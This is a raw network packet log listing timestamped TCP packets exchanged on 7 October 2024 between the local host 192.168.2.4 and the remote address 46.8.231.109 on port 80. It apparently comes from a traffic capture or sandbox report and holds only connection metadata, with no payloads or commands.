Oct 7, 2024 03:03:11.263331890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263360977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263397932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263397932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263417006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263446093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263500929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263534069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263569117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263598919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263598919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263605118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263658047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263667107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263667107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263694048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263720989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263744116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263750076 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263782978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263816118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263837099 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263837099 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263851881 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263885975 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263905048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263905048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263921976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263967037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263967991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263976097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264014006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264046907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264062881 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264062881 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264082909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264108896 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264137030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264187098 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264187098 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264190912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264228106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264256001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264261007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264278889 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264293909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264322996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264338970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264338970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264358997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264394999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264408112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264408112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264429092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264462948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264475107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264475107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264496088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264535904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264545918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264545918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264573097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264607906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264621019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264621019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264642954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264681101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264683962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264683962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264714956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264725924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264750957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264784098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264792919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264792919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264818907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264854908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264858007 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264889002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264904976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264904976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264926910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264961004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.264972925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264972925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.264996052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265031099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265044928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265044928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265064001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265100002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265111923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265111923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265134096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265167952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265185118 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265185118 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265204906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265244961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265254974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265254974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265275002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265306950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265320063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265320063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265343904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265372992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265376091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265412092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265419006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265419006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265445948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265480995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265491962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265491962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265517950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265552998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.265564919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265564919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.265625000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.303241968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.303301096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.303318024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.303343058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.303359985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.303427935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.303455114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.303461075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.303495884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.303616047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.303616047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.351520061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351553917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351572037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351591110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351609945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351625919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.351625919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.351636887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351655006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351679087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351695061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351706982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.351706982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.351711988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351731062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351749897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.351753950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351772070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351787090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351804018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351821899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.351821899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.351883888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351928949 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.351928949 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.351928949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351947069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.351979971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352014065 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352045059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352060080 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352075100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352093935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352123976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352123976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352211952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352226973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352240086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352242947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352262020 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352278948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352279902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352296114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352313042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352328062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352328062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352382898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352382898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352411985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352466106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352483034 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352514982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352514982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352560997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352577925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352595091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352611065 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352612019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352631092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352663994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352663994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352684975 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352686882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352730989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352756977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352777004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352833033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352833033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352849007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352864981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352880955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352895975 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352915049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352921963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352921963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352930069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352962017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.352973938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.352991104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353023052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353023052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353092909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353108883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353111982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353127956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353143930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353152037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353159904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353190899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353193998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353204012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353210926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353225946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353240967 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353276968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353296041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353312016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353319883 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353327990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353328943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353348017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353384972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353414059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353429079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353442907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353466034 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353466034 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353493929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353511095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353522062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353538990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353581905 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353581905 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353636026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353650093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353666067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353681087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353693008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353698969 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353734016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353770971 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353786945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353804111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353822947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353822947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353831053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353847027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353852034 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353863001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353929043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353929043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.353965044 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353981018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.353995085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354020119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354034901 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354038954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354038954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354082108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354096889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354113102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354127884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354129076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354129076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354151011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354168892 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354168892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354201078 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354235888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354250908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354269028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354289055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354293108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354293108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354304075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354331017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354381084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354382038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354401112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354415894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354422092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354484081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354501963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354501963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354535103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354562998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354578972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354593039 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354609013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354625940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354641914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354643106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354643106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354660988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354708910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354708910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354718924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354733944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354758978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354768991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354777098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354794025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354814053 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354816914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354834080 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354850054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.354859114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354859114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.354907990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.394061089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.394191027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.394210100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.394226074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.394241095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.394241095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.394244909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.394264936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.394283056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.394326925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.394326925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442117929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442169905 CEST	80	49731	46.8.231.109	192.168.2.4
